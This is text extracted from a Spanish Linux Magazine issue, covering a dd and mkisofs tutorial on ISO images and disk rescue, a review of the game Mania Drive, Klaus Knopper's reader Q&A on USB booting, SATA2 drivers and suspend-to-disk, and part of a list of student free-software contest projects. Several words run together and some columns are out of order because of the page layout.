crear las imágenes ISO. La utilidad mkisofs soporta las extensiones Rockridgey Joliet (ver el cuadro “Rockridge y Joliet”). Incluso puede usarse mkisofspara hacer copia de los datos automáticamente, excluyendo ficheros indivi-duales si es necesario. dd es una herramienta alternativa que puede suponerla última oportunidad para salvar los datos de un disco duro muerto.

Convertir y CopiarLa práctica herramienta dd debería haberse llamado en realidad cc, por con-vertir y copiar. Pero como este nombre ya había sido asignado al compiladorC, los desarrolladores tomaron la letra siguiente del alfabeto.

dd crea una copia idéntica byte a byte del medio, no importa si son particio-nes del disco duro, CDs o DVDs. Soporta operaciones de lectura y escritura debloque seguras. Como no procesa o interpreta esos bloques, el sistema deficheros subyacente es indiferente. De hecho, dd incluso no se amedrenta pordiscos duros con errores (ver la sección “dd al Rescate: El Último Cartucho”).La sintaxis básica del comando es:

dd if=fuente of=objetivo

La opción if permite decirle a dd de dónde leer los datos fuente, mientras quela opción of define la salida.

La fuente y el objetivo son a menudo dispositivos tales como particiones deldisco duro o lectores/grabadores de CD/DVD. Como alternativa, puede usarseun signo igual para señalar a un fichero. Para copiar la partición del discoduro hda1 byte a byte a /dev/hdb1 se escribe:

dd if=/dev/hda1 of=/dev/hdb1

Incluso puede usarse dd para copiar rápidamente un CD o DVD en la línea decomando. Para crear una imagen ISO:

Creación de imágenes ISO con dd y mkisofs

IMAGEN ESPEJOSi se están creando copias de seguridad, salvando datos o copiando

CDs arrancables, dd y mkisofs te ayudan a realizar este trabajo estu-

pendamente. POR HEIKE JURZIK

LINUX USER • Linea de comandos: Isos

80 Número 22 W W W . L I N U X - M A G A Z I N E . E S

$ dd if=/dev/hdc of=miimagen.iso

9153728+0 records in

9153728+0 records out

4686708736 bytes transferred in

1209.649659 secondsU

(3874435 bytes/sec)

Cuando se está usando dd, no esnecesario montar el medio parahacer una copia rápida. Sustituye ladenominación del dispositivo/dev/hdc con el nombre de disposi-tivo en tu caso.

La imagen ISO se escribe en unfichero llamado miimagen.iso en eldirectorio actual.

Optimización de Opcionesdd dispone de distintas opciones. Unparámetro práctico que acelera lavelocidad del programa considera-blemente es bs (por “block size”, olo que es lo mismo, “tamaño de blo-que”). Por defecto, dd usará bloquesde 512 bytes, es decir, lee 512 bytesde una vez y los escribe en el ficherode salida. Si se selecciona un tamañode bloque mayor se puede acelerar elproceso. Por ejemplo, si se escribe…

dd if=/dev/hda1 of=/dev/hdb1 U

bs=2k

… se le dice a dd que copie la parti-ción en bloques de 2Kb (2048 bytes).Si el bloque último es más pequeñoque el tamaño de bloque especifi-cado, dd no lo rellenará:

dd if=/dev/hda1 U

of=dev/hdb1bs=6k U

16059+1 records in U

16059+1 records out

98670592 bytes transferred U

in 13.801482 seconds U

(714927 bytes/sec)

La salida dice que dd ha copiado16059 bloques cada uno de los cua-les contiene 6144 bytes, con un blo-que que restante de 4096 bytes.

Además del tamaño de bloquepuede especificarse el número debloques que se desea que lea. Paracopiar 40MB, se escribe bs= 1M

count=40. La opción count especi-fica el número de bloques. Esto tienesentido si se quiere salvar un sectorde arranque del disco duro. Deberáncopiarse los primeros 512 bytes delbloque haciendo lo siguiente:

dd if=/dev/hda of=bootsector U

bs=512 count=1

dd al Rescate: El ÚltimoCartuchodd es una herramienta esencial sinos enfrentamos con la desalenta-

dora tarea que supone rescatar datosde sistemas de ficheros dañados.Antes de reparar el daño ha dehacerse una copia de seguridad. Deeste modo, se usa dd para crear unacopia idéntica byte a byte de un sis-tema dañado y a continuación la usa-mos para el intento de rescate.

Predeterminadamente, dd excluyesectores defectuosos de la copia.Para evitarlo y coger todos los datosque sean posibles, será preciso habi-litar la opción conv=noerror,sync:

dd bs=512 conv=noerror , syncU

if=/dev/hda of=/dev/hdb

De este modo se le dice que continúeleyendo y almacenando datos,incluso si descubre sectores defec-tuosos. La etiqueta noerror le diceque no se detenga en los errores, ysync que pise los sectores ilegiblescon ceros.

Imágenes ISO con MkisofsLa herramienta mkisofs (“makeISO9660 filesystem”) crea imágenesISO, aunque lo hace de una maneramuy competente, ofreciendo ademásun buen número de característicasadicionales. La sintaxis básica es:

mkisofs parámetro - o U

mifichero.iso /directorio/datos

La etiqueta -o define el nombre delfichero objetivo. A continuación vaseguido de los datos que quierenalmacenarse en la imagen. Comoparámetro adicional, puede decírselea mkisofs que habilite extensionesRockridge a través de la opción -r.Podría especificarse -R en cambiopara establecer privilegios y ficheros

Figura 2: mkisofs te informa en todo momento de lo que está ocurriendo mientras se crea el

sistema de archivos ISO.

ISO: Linux soporta varios tipos de sis-

temas de ficheros tales como Ext2, Ext3,

ReiserFS, incluso FAT y NTFS. ISO 9660,

para llamar al sistema de ficheros por su

nombre completo, es el sistema de

ficheros estándar para administrar

ficheros en CD-ROMs.

GLOSARIO

La extensión Rockridge añade informa-

ción de fichero de estilo Unix (tales

como propietario, grupo, privilegios de

acceso y enlaces simbólicos) al sistema

de ficheros ISO para evitar la pérdida de

datos cuando son copiados desde un

sistema de ficheros Unix a un CD. Al

mismo tiempo, Rockridge soporta nom-

bres de ficheros largos. La extensión

Microsoft Joliet para el estándar ISO

9660 también soporta nombres de

ficheros largos.

Rockridge y Joliet

de los propietarios. La extensiónJoliet se habilita con la etiqueta -J:

mkisofs -J -R -o myfile.iso U

/directory/data

-V permite especificar un nombre(volumen ID) para el CD/DVD. Si elnombre incluye blancos y/o caracte-res especiales, no debe olvidarseusar comillas:

mkisofs -V “Backup 20060502” ...

Para obtener salidas más detalladas,puede habilitarse la opción -v (de“verbose”) (Figura 1). La opciónopuesta sería -quiet. Si se prefiereevitar mensajes de salida de estadoen la ventana terminal, pero no sedesea hacerlo con la información quesuministran esos mensajes ¿por quéno redireccionar la salida delcomando mkisofs a un logfile?:

mkisofs ... -logfile U

log.txt ...

Ideal para BackupsMkisofs dispone de un importantenúmero de opciones prácticas paracrear copias de seguridad a interva-los regulares. Por ejemplo, la opción-m permite excluir ficheros desdeuna imagen. Los argumentos delnombre del fichero siguen a laopción. Incluso puede manipularcomodines y múltiples nombres. Porejemplo, para excluir todos los fiche-ros HTML de su imagen ISO, puedehacerse lo siguiente:

mkisofs ... -m *.html -m *.HTML U

-o copia.iso /home/huhn

-x permite excluir directorios com-pletos. Soporta varios argumentos:

mkisofs ... -x /tmp -x U

/var -o backup.iso /

Cuando se emplean estos paráme-tros, hay que asegurarse de evitarusar comodines cuando se especifi-can los ficheros que se desean escri-bir a la imagen. El comandosiguiente:

mkisofs ... -m *.html -m U

*.HTML -o backup.iso *

le dice a nuestra shell que resuelvael comodín final, es decir, queañada todos los ficheros a la ima-gen.

Si se desean excluir ficheros conextensiones de backup típicas, talescomo ficheros acabados en #, o.bak, se especifica la opción-no-bak.

¡Arrancable!Para crear medios auto-arrancables,se añade el cargador de arranque Iso-linux [1], el cual se integra muy biencon mkisofs:

mkisofs -J -R -o bootcd.iso U

-b isolinux/isolinux.bin U

-c isolinux/boot.cat U

-no-emul - boot U

-boot - load - size 4 U

-boot - info - table U

/folder/data

Nótense las opciones adicionales enel listado precedente: la etiqueta -b

seguida del nombre de la imagen dearranque y -c permiten especificarel catálogo de arranque.

El parámetro -no-emul-boot le diceal programa que no cree una emula-ción cuando se instala desde un CD,sino que, en su lugar escriba los con-tenidos del fichero imagen al disco.La opción -boot-load-size 4 especificaque la BIOS debería proporcionarcuatro sectores de 512 bytes para elfichero de arranque. Finalmente, laopción -boot-info-table establece ladistribución de la información delmedio de lectura en el tiempo dearranque. Nótese que esta informa-ción debería estar almacenada en eldirectorio isolinux bajo /folder/data.

Probando las ImágenesLa utilidad mount (de la que habla-mos en esta sección en Linux Maga-zine número 21) ofrece una manerapráctica de comprobar imágenes ISOantes de copiarlas en un CD. Paracomprobar la imagen ha de montarseen el sistema de ficheros mediante laopción -o loop:

mount -o loop myfichero.iso U

/mnt/tmp

Obsérvese que el punto montajedebe existir y que no se necesitanprivilegios de superusuario para estecomando. Una vez completado lacomprobación, puede desmontarse laimagen ISO de nuevo introduciendoumount /mnt/tmp. �

Linea de comandos: Isos • LINUX USER

[1] Isolinux: http://syslinux.zytor.com/

iso.php

RECURSOS

LINUX USER · Juegos

Hace ya más de un año el que suscribe

estuvo bastante tiempo buscando un

motor de videojuegos GPL para linux

que tuviera dos características fundamentales:

el lenguaje de programación tenía que ser C y

debía usar aceleración gráfica OpenGL. Tras

mucho buscar apareció de la nada Raydium

[1]. Este motor estaba todavía en sus comien-

zos y tenía muchas carencias, pero un simple

vistazo al código reveló que era lo que bus-

caba. Presentaba una característica muy inte-

resante: todos los añadidos que se iban

haciendo se aplicaban a su juego insignia:

Mania Drive [2]. Mania Drive es un divertidí-

simo juego de conducción (que no de carre-

ras) donde el objetivo fundamental es comple-

tar cada circuito en solitario en el menor

tiempo posible evitando todos los obstáculos

que nos encontraremos. Con este sencillo

planteamiento, la comunidad de Raydium ha

creado un videojuego tremendamente adic-

tivo con algunos detalles que lo sitúan cerca

del nivel de calidad de algunos juegos comer-

ciales.

¿Cuántos polígonos?Su aspecto gráfico, sin resultar sobresaliente

como en títulos de conducción de videoconso-

las, está muy bien logrado. Los modelados

son correctos, aunque las “piezas” que com-

ponen los circuitos están algo escasas de polí-

gonos; esto se debe a una decisión salomónica

del equipo de desarrollo para garantizar el

mejor rendimiento posible en todas las confi-

guraciones. Además, el hecho de que los esce-

narios estén creados con “piezas” permite

usar un editor para crear los nuevos circuitos.

Contrariamente, el vehículo que conducimos

tiene muy buen modelado con un número de

polígonos bastante alto.

Motores que rugenLo primero que destaca del apartado sonoro

del juego es que, como banda sonora, han

incluido temas musicales, con licencia Crea-

tive Commons, de muy buena calidad; algo

a lo que no nos tienen acostumbrados los

juegos libres. Así desde la pantalla del

menú, con buena música, textos en español

y un vídeo de fondo, se logra sorprender al

jugador casual que ha puesto el juego sólo

por probar.

Respecto a las licencias Creative Com-

mons de las canciones (en ellas se pide el

reconocimiento del autor) se ha utilizado un

método ya visto en otros juegos comerciales:

incluir un banner deslizante que aparece

sincronizado con el inicio de la canción que

se está reproduciendo y donde se nos

informa de su título y autor. Muy efectivo.

Los efectos sonoros se reducen práctica-

mente a un discutible ruido del motor, que

cambiará según la aceleración de nuestro

vehículo, y a efectos (muy particulares) que

se escucharán al pasar por las cercanías de

una zona de aceleración o la meta por ejem-

plo. Sin duda, los efectos son lo peor del

apartado sonoro, aunque sus desarrollado-

res ya han comentado que se mejorará este

aspecto en próximos lanzamientos.

Física realLo que más llama la atención de este juego es

el comportamiento de nuestro coche en el

Figura 1: Debemos controlar los derrapes.

Los más veteranos en el mundo de los juegos conocerán títulos como Stunts, los primeros simuladores 3D

de conducción que existieron y que causaron sensación entre el público en general. En esa misma línea de

juego, con muchas mejoras y completamente libre, llega ahora Mania Drive.

POR VICENTE CARRO

Mania Drive

AUTOS (LIBRES) LOCOSMania Drive

AUTOS(LIBRES)LOCOS

82 Número 22 W W W . L I N U X - M A G A Z I N E . E S

gen para superar cada circuito son extre-

madamente ajustados, por lo que no

podremos permitirnos ni un error en el

recorrido de cada uno de ellos. Pero para

que podamos aprender a correr bien tene-

mos disponibles en este modo unos circui-

tos Tutoriales donde se nos explicarán las

bases de conducción y las técnicas más

importantes.

El modo Pistas Internet permite al juga-

dor elegir un circuito de la lista para inten-

tar completarlo en el menor tiempo posi-

ble. Una vez terminemos el circuito nues-

tro tiempo se comparará instantáneamente

con la clasificación de Mania Drive y se

nos indicará el puesto mundial en el que

hemos quedado. Este pequeño detalle de

darnos un puesto en tiempo real hace que

este modo de juego se convierta en un

vicio, ya que los circuitos no suelen ser

muy largos y correremos una y otra vez

para ir arañando segundos y así subir

puestos con cada nueva repetición. El

modo Multijugador está pensado para

jugar en red local. Uno de los jugadores

tendrá que activar el servidor y el resto de

jugadores deberán conectarse a él (a su

dirección IP) para poder jugar. Este modo

es igual que los anteriores, pero veremos a

nuestros amigos en pantalla como si de

fantasmas se tratase, por lo que no podre-

mos colisionar contra ellos, aunque la

competitividad se verá aumentada al ver-

los solapándose con tu coche. También es

posible jugar vía Internet indicando la

dirección IP pública del que haga de servi-

dor y además, éste también tendrá que

abrir el puerto 29104 de su router.

En otro binario ejecutable encontrare-

mos un editor de pistas para Mania Drive,

aunque no viene de serie en los paquetes

de binarios. Para conseguirlo será impres-

cindible bajarse la última versión de

desarrollo del motor Raydium. Quizás para

cuando leáis esto ya haya salido publicada

la versión 1.03 con el editor integrado.

El futuro

Desde el día del lanzamiento de su primera

versión la comunidad de jugadores interesa-

dos en el juego se ha disparado desmesura-

damente. Además, numerosos programado-

res se están animando para mejorar el

motor Raydium en General y Mania Drive

en particular. La lista de cambios a realizar

[4] incluye desde la inclusión de luces de

freno funcionales hasta novedosos efectos

gráficos, multitud de nuevas ideas, así como

corrección de los lamentablemente siempre

presentes errores. Incluso hace poco han

surgido “mods” que cambian las texturas

del coche, del escenario o versiones mejora-

das de las piezas de los circuitos. Entre los

últimos avances de Mania Drive se ha aña-

dido un coche especial, un circuito bonus

llamado “rally” y está terminándose un

nuevo “mundo” de ambiente desértico.

ConclusiónMania Drive es muy jugable, divertido y

recomendable. Con la creciente comuni-

dad de Raydium cada día se generan más

apoyo y nuevos añadidos. Su juego

online y el sistema de posiciones con-

trastadas en tiempo real harán que el

jugador se “vicie” casi sin darse cuenta.

Probablemente nos encontremos ante un

juego que pasará a formar parte de la

historia de los juegos libres en muy poco

tiempo. �

mundo. Incluso siendo conscientes de que la

conducción ha sido simplificada para hacerlo

más arcade (se han suprimido las marchas

por ejemplo), la respuesta del coche es sospe-

chosamente realista. Esto se debe a que real-

mente Raydium (motor del juego) incluye a

su vez un motor de física real: ODE[3] (Open

Dynamic Engine). Estas tres siglas son sinó-

nimo del mejor motor físico libre que hay dis-

ponible, y eso se nota en el juego.

Derrapes en las curvas, colisiones en los

quitamiedos, vuelcos, saltos en los obstácu-

los, y toda la variedad de comportamientos

reales de un coche se pueden ver en Mania

Drive.

ControlesEn pos de la jugabilidad se ha simplifi-

cado mucho el control de nuestro vehí-

culo. Se podrá acelerar, retroceder (que

servirá también para frenar) y girar a

ambos lados con los cursores. Se han

suprimido a propósito las marchas (que

incorpora por defecto Raydium) y no

será posible bloquear las ruedas por

mucho que “frenemos”.

Además, en el momento en el que se

escriben estas líneas, la actual versión

del juego (1.02) tiene una carencia en la

versión win32: no se pueden usar joys-

ticks, con lo que los usuarios de linux

llevamos ventaja al poder usarlos, y cier-

tamente nos serán de gran ayuda si que-

remos lograr una buena posición en la

clasificación mundial.

Clasificación MundialMania Drive nos ofrece 4 modos de juego:

el Modo Historia, el modo Pistas Internet,

el modo Multijugador y Otras Pistas.

El Modo Historia es simplemente una

secuencia de circuitos que se irán desblo-

queando a medida que superemos los

tiempos establecidos. Lamentablemente

para algunos, los tiempos que se nos exi-

[1] Página oficial de Raydium: http://

www.raydium.org

[2] Página oficial de Mania Drive: http://

maniadrive.raydium.org

[3] Página oficial de ODE: http://www.

ode.org

[4] Lista de futuros cambios: http://wiki.

raydium.org/wiki/RoadMap

RECURSOS

G L O B A L :

L o m e j o r :

• Genial motor físico

• Muy adictivo y en español

• Gran banda sonora

L o p e o r :

• Los efectos puntuales de sonido

• Pocos polígonos en circuitos

7,50

Puntuación

Figura 2: Un mal volantazo y nuestro coche

volcará.

Figura 3: Textos de pantalla en castellano, genial.

Juegos · LINUX USER

83Número 22W W W . L I N U X - M A G A Z I N E . E S

COMUNIDAD · Konsultorio

84 Número 21 W W W . L I N U X - M A G A Z I N E . E S

un estado en el que puedan ser reconocidos

por el kernel. Puede que piense que con

añadir los drivers correctos al kernel se

puede acceder directamente a las particiones

/dev/sda* cuando el kernel monta el sistema

de archivos raíz, pero desafortunadamente

esto no es tan sencillo. Tras cargar los módu-

los USB (ohci-hcd, uhci-hcd o ehci-hcd) y

usb-storage, hay un periodo de tiempo de

entre 5 y 20 segundos en los cuales el pro-

ceso de inicialización simplemente tiene que

esperar hasta que el dispositivo USB esté

preparado y todas las particiones sean

reconocidas por el kernel. Antes de eso, las

particiones del dispositivo USB no son ni

siquiera visibles en el espacio de kernel.

El procedimiento general para lograr que

un disco duro externo USB o pendrive sea

arrancable con Linux depende mucho de la

configuración del particionamiento y del sis-

tema de archivos deseado. Si tenemos una

partición FAT en /dev/sda1, podríamos usar

syslinux y colocar un kernel y un initrd con

todos los drivers necesarios allí, y añadir una

directiva root=/dev/sda2 en el bootloader,

con lo que se montaría un sistema de

achivos Linux ext2 desde la segunda parti-

ción. No creo que el initrd-utils estándar deKnoppix y USB

Uso Knoppix desde hace unos dos

años y tengo la siguiente pregunta:

¿podría describir paso a paso cómo arrancar

Linux (Knoppix) desde un dispositivo USB?

He leído algunos artículos al respecto, pero

hasta el momento no lo he logrado. Por lo

que he podido entender de estos artículos, la

cuestión es crear un initrd, que tras el

arranque inicial, debería ser capaz de montar

el sistema de archivos desde el dispositivo

USB en / (raíz). He logrado crear mi propio

initrd, pero sigo sufriendo el siguiente error:

Kernel panic not syncing :U

VFS: Unable to mount root fs U

on unknown block (8, 17)”

Creo que esto puede ser debido al hecho de

que mi initrd tiene soporte para USB y SCSI

como módulos cargables, mientras que me

parece que este soporte ha de estar compi-

lado dentro del kernel, cosa que no sé cómo

lograr. O quizás esté equivocado en mi

planteamiento. ¿Existe alguna otra manera

de hacer que funcione? Quizá pueda usted

escribir un artículo acerca de esto en Linux

Magazine.

Si le aparece el mensaje de error

inmediatamente tras cargar el kernel,

puede que se haya descuidado y no haya

añadido el ramdisk inicial con los módulos

USB al cargador de Linux. Tanto si usa grub,

sys/extlinux o lilo, debería haber una línea

“append” que diga algo como initrd=

some-filename.gz, con ficheros.gz como el

initrd que hemos creado previamente.

Arrancar desde USB puede ser un poco

más complicado de lo que pensamos debido

a que este tipo de dispositivos necesitan ge-

neralmente algún tiempo extra para alcanzar

ELCONSULTORIODE KLAUS

Klaus Knopper es el creador de

Knoppix y co-fundador de la

LinuxTag Expo. Trabaja en la

actualidad como profesor,

programador y consultor. Si tiene

algún problema de configuración,

o simplemente quiere conocer

mejor cómo funciona Linux, no

dude en escribir sus preguntas a:

[email protected].

COMUNIDAD · Konsultorio

86 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Debian soporte esto debido al periodo de

espera ya comentado para que el disco/dis-

positivo USB esté listo, por lo que tendremos

que configurar un initrd de manera manual

con un tiempo de espera suficientemente

largo entre la carga de los módulos y el

acceso a las particiones /dev/sda*.

No debería importar si ponemos todos los

drivers USB en el kernel (uno o varios de los

*-hcd más el usb-strage) o en el disco Ram

inicial, ya que en ambos casos tendremos

que retrasar el montaje de/desde el disposi-

tivo USB.

Encontraremos una descripción de cómo

cargar Linux en un dispositivo USB en el

caso de Knoppix en http://www.knoppix.net/

wiki/USB_Based_FAQ. En este documento se

coloca un sistema live Linux en un disposi-

tivo USB que está formateado con un sistema

de archivos FAT (por defecto). La descripción

debería ser la misma que para una insta-

lación desde un disco duro USB también.

Hay que hacer notar que no todas las com-

binaciones de dispositivo USB y placa son

arrancables, a pesar de las promesas de los

fabricantes. Existen varias versiones GNU/

Linux “diseñadas para el arranque USB” con

las que podemos experimentar si estamos

interesados. Consulte http://spblinux.

sourceforge.net/ o http://www.

damnsmalllinux.org/.

Drivers SATAAcabo de hacerme con un equipo

Linux hecho a medida. Se trata de una

máquina “a la última” con los siguientes com-

ponentes:

• 3 discos duros SATA2 (WD 320 GB) a

7200 rpm, con 16 MB de búfer

• 1 Kingston 512 MB DDR2 533FSB

• 1 CPU Intel P-4630-3GHz 800 FSBSB/ 2M

con ventilador retail box fan

• 1 placa ASUS P5LD2 VM Allin-1 atx mb

• 1 DVD-RW Plextor

Cuando intento instalar Linux (Red Hat ver-

sión 9), logro completar parte del proceso.

Tras seleccionar el idioma (US), Linux me

indica que debo seleccionar un “device dri-

ver”.

Ninguna de las opciones funciona. No

creo que sea el CD-RW, ya que está leyendo

el disco de instalación. He deshabilitado la

tarjeta de sonido y el acceso a Internet en la

BIOS.

Como los discos SATA2 son nuevos en el

mercado, supongo que Linux puede no está

totalmente preparado para soportarlos. He

enviado las siguientes preguntas a Red Hat,

ASUS y Western, y no he recibido ninguna

respuesta.

• ¿Tiene su compañía algún driver para los

discos SATA2 para Red Hat (versión 9)?

• ¿Conoce algún repositorio con drivers que

soporten su hardware?

• ¿Conoce alguna distribución de Linux

además de Red Hat que soporte los

nuevos discos SATA2?

Klaus, quizá usted pueda arrojar algo de luz

sobre este problema. ¿Qué podría hacer?

Los drivers para SATA2 no dependen

de la distribución específica (o más

bien, las distribuciones no deberían depender

de un kernel específico). Por lo tanto, las posi-

bilidades son buenas si consigues los drivers

SATA2 para tu configuración directamente de

la fuente “normal” del kernel en www.kernel.

org.

Compilar un kernel (o los módulos del ker-

nel) no es algo espantosamente difícil, pero

dar con la configuración correcta si puede ser

algo más complicado. Necesitarás saber qué

chipset SATA2 usa tu placa, e información de

otros componentes hardware, para saber qué

opciones hay que marcar en la configuración

del kernel. Existen muchas compañías de soft-

ware libre, así como grupos de usuarios de

Linux, que pueden ayudarte con este pro-

blema.

He encontrado varias menciones a tu placa

en la fantástica lista de Ubuntu, por lo que ya

debería estar soportada por los kernels

actuales de Linux. Puedes probar a ver si los

discos son detectados por una Knoppix o una

Ubuntu Live CD.

Una vez que compruebes que los discos

funcionan con ese kernel más reciente,

debería ser posible actualizar el de tu sistema,

o alternativamente realizar una nueva insta-

lación con una distro que incorpore el kernel

en cuestión.

Suspensión a disco con APMHe leído su artículo en el número 19 de

Linux Magazine con interés porque he

tenido numerosos problemas al intentar (falli-

damente) conseguir que funcione la suspen-

sión a disco en mi Toshiba Satellite Pro 4600

con Mandriva LE2005. Funciona con Win-

dows 2000 Pro, pero no sé si Windows 2000

usa APM o ACPI. Me gustaría hacerle dos pre-

guntas: ¿cómo puedo saber si mi equipo

soporta APM? y, en caso afirmativo, ¿qué ten-

dría que hacer para iniciar la suspensión a

disco con Mandriva LE2005?

Para poder averiguar si su portátil

soporta APM o ACPI, simplemente te-

nemos que probar ambos métodos. Podría,

por ejemplo, arrancar Knoppix en modo

knoppix acpi=force para forzar el modo ACPI,

y comprobar más tarde con dmesg si aparece

algo útil (podemos probar también el

comando acpi), o arrancar con knoppix

acpi=off para verificar que tenemos apm

como alternativa (dmesg, apm,…). Podemos

investigar en la documentación de Mandriva

en busca de comandos equivalentes.

Si su portátil soporta APM y ya tiene una

partición o archivo para suspensión a disco

creado por el fabricante (existen programas

bajo DOS que modifican el disco duro en con-

sonancia), debería poderse suspender a disco

Figura 1: Podemos buscar drivers en la página www.kernel.org.

87Número 22W W W . L I N U X - M A G A Z I N E . E S

Konsultorio • COMUNIDAD

Me gustaría poder visualizar en la pantalla

del portátil lo que se está proyectando, o al

menos tener un comando o tecla que me per-

mita conmutar.

He estado buscando en diversos artículos

en Internet, pero no he encontrado una solu-

ción. ¿Podría ayudarnos?

Sé perfectamente de lo que me

está hablando. Resulta que tengo

un portátil con el mismo extraño hard-

ware “inteligente” que decide el modo

gráfico en función de si el proyector

está conectado en el momento de

arrancar o no.

Normalmente, para mi portátil, si el

proyector está conectado en el

momento de arrancar, se proyecta una

imagen que “casi” coincide con la pan-

talla del portátil. Pero casi el 25% del

área exterior queda cortada. Al tratar

de solucionarlo con Control + alt +

numpad, más o menos, aparecen todo

tipo de graciosos efectos en la proyec-

ción.

Este es fundamentalmente un

problema de hardware, pero eso

no significa que no existan algu-

nas soluciones vía software bajo

Linux.

Solución 1:

Iniciamos un framebuffer del

servidor X para nuestra pre-

sentación. El servidor de framebuffer

generalmente genera una imagen en

frecuencias “amigables para el proyec-

tor” por TODOS los puertos de vídeo.

Al hacer esto, simplemente tenemos

que copiar nuestro /etc/X11/xorg.conf

(o /etc/X11/XF86Config-4 si usamos

XFree86 en lugar de Xorg) a una nueva

ubicación, y cambiamos:

Driver U

“su-driver-de-aceleración”

a

Driver “fbdev”

en la sección “Device” de la copia.

Puede que queramos modificarar tam-

bién la sentencia Modes para que coin-

cida con la resolución preferida del

proyector.

Ahora, trabajando como root,

podemos lanzar el nuevo servidor X

tecleando:

Xorg :1 -nolisten tcp -config U

/etc/X11/xorg.conf-projector

y levantamos la nueva pantalla desde la

sesión “antigua” (conmutamos a la otra

instancia del servidor X presionando

Ctrl-Alt-F7, en caso de estar en la con-

sola 7), tecleando:

export DISPLAY=:1 U

# Set the “default display” U

for that shell

kpdf my-presentation.pdf & U

# Start the PDF presentation

twm & # Add a quick & U

small windowmanager

Solución 2:

Para ciertos tipos de portátiles puede ser

útil arrancar con la pantalla propia

deshabilitada, de manera que sólo obte-

nemos la imagen del proyector.

Aparentemente, los chipsets usados en

estos portátiles no son capaces de

generar imagen interna y externa al

mismo tiempo. Habrá que usar las teclas

adecuadas para conmutar al modo “sólo

puerto externo” en la pantalla de

arranque.

Esta solución al problema es franca-

mente inconveniente, pero para algunos

portátiles no parece haber otra solución.

Solución 3:

KDE incluye un plugin “cambiador de resolu-

ción rápido” en el Control Center que per-

mite cambiar la resolución y ajustarla al

tamaño del escritorio al mismo tiempo. A

veces es útil permutar al modo 800x600 de

manera que funcionen adecuadamente tanto

la imagen del proyector como la del portátil a

la vez.

En algunas ocasiones la frecuencia de

refresco es un factor importante si queremos

que la imagen del proyector sea la misma

que la del portátil. Cambiar la frecuencia a

unos 75Hz si el proyector no es demasiado

nuevo puede hacer milagros. �

simplemente con apretar la tecla al efecto, con

lo que el portátil escribiría toda la información

necesaria en la partición o fichero (y con algo

de suerte, despertar de la suspensión más

tarde).

Con los portátiles más nuevos probable-

mente tenga que usar ACPI, debido a que

éstos ya no implementan suspensión asistida

por hardware. Por tanto, con el método sopor-

tado a partir del kernel 2.6.15 y superior, sólo

necesitamos crear nuestra partición de swap

lo suficientemente grande como para guardar

la RAM entera más el swap en uso en ese

momento.

La opción del kernel para el lilo.conf o el

menu.list de grub es

resume2=swap:/dev/hda3, pasado como

APPEND en las opciones del kernel, siendo

/dev/hda3 una partición de swap en este

ejemplo. Reiniciamos de manera que el kernel

habilite esta funcionalidad. Podemos iniciar la

suspensión a disco tecleando

echo 4 > /proc/acpi/sleep

como root. Pueden pasar cosas extrañas y

maravillosas al reiniciar. Cuando reiniciemos,

nuestro kernel tratará de restaurar el estado

del sistema desde la información guardada en

la partición de swap, cosa que puede lograr o

no al primer intento.

Desafortunadamente, no es fácil averiguar

qué componentes de nuestro ordenador

soportan suspensión por hardware, y cuáles

tienen que ser descargados y reiniciados tras

la reanudación. Esto conlleva un proceso largo

de prueba y error. Por tanto, cuando usemos

suspensión a disco las primeras veces, debe-

mos asegurarnos que toda la información vital

está guardada en una copia de seguridad.

Si echo 4 > /proc/acpi/sleep no tiene efecto

alguno en el kernel, debemos echar mano del

comando dmesg en busca de algún error

obvio. Podría ocurrir simplemente que nue-

stro kernel simplemente no soporte suspen-

sión a disco, o el ACPI esté desactivado.

PC Portátil con Configuraciónpara Proyector

Recientemente se ha celebrado un

evento Linux, (Namur Linux Days, en

Bélgica), al que fui invitado a hacer una pre-

sentación acerca de Evolution.

Llegamos con un portátil, pero tuvimos

algunas dificultades para sacar la presentación

con un proyector. La solución que encon-

tramos fue arrancar el ordenador con el

proyector enchufado. Pero, en este caso, no

aparecía nada en la pantalla del portátil.

88 Número 22 W W W . L I N U X - M A G A Z I N E . E S

COMUNIDAD · Concurso de Software Libre

ACHILLES ::UN SISTEMA DE GESTIÓN DE RECURSOS

Framework que permitirá gestionar todo tipode información proporcionando una base sól-ida y funcional sobre el que se podrán ir añadi-endo módulos y/o componentes.

Autores

Guillermo Rodríguez Cano

URL

http://www.themountolympus.net/category/desarrollos/achilles

ACTION-ADVENTURE ARCHAEOLOGIST GAMEVideojuego de acción y aventura donde elprotagonista es un arqueólogo que debeexplorar distintos mapas.

Autores

Borja Moreno Fernández

AGENTE OSMIUS PARA MONITORIZACIÓN DEISPS

Aplicación para monitorizar y centralizar losdatos del servicio real que ofrecen los distintosISPs del mercado con la finalidad de dar unamedida fidedigna de la calidad de internet encualquier parte del mundo.

Autores

Guillermo Halys Ortuño

ALELISistema para la creación de distintos tipos deestadísticas histórico de una lista de correo enformato mbox (como los que genera mail-man).

Autores

Pablo García Figuerola

APLICACIÓN DISTRIBUIDA PARA LA GESTIÓNDE CURSOS VIRTUALES

Desarrollo de una plataforma de enseñanzavirtual basada en Moodle.

Autores

Alejandro López Vega

Alejandro Leal Cruz

Presentamos a continuación el listado

completo en orden alfabética de los

proyectos admitidos para participar en

1er Concurso Universitario de Software Libre.

Para más información y las últimas noti-

cias, visita http://concurso-softwarelibre.us.es/.

APLICACIÓN WEB DE GESTIÓN DE UN ÁREA DEDEPORTE

Aplicación web de gestión de un área dedeporte (polideportivo).

Autores

Sandra Caño Galán

APT-CEVersión del apt-get para pocketpc con sistemaoperativo Windows CE.

Autores

Jose Manuel Ferrer Mosteiro

AUTOLEARNPrograma para el aprendizaje de la seguridadvial, con material sobre el código de circu-lación y pruebas propuestas para el/la usuario/a.

Autores

Alberto Díaz Herández

AYEAYEAplicación para gestionar e inventariar dispos-itivos de red.

Autores

Ignasi Fosch Alonso

Javier Arellano Roig

BLOODTOOTHPrograma para la transferencia de archivos ydocumentos a través de dispositivos blue-tooth para el entorno de escritorio Gnome.

Autores

Juan Jesús Salas Rivera

Angel Fernandez Fernandez

Javier Sivianes López

URL

http://bloodtooth.wordpress.com/

CABARET – SOFTWARE DE PRESENTACIONESOPENGL

Software para creación de presentacionesdinámicas mediante OpenGL, con soportepara plugins.

Autores

David Muñoz Díaz

URL

http://thecabaret.wordpress.com/

CARONTESistema de retransmisión/recepción de vídeo

CONCURSO DESOFTWARE LIBRE

y audio en “tiempo real” a través de la redmediante protocolos de comunicación basa-dos en tecnologías P2P.

Autores

Santiago Dueñas Domínguez

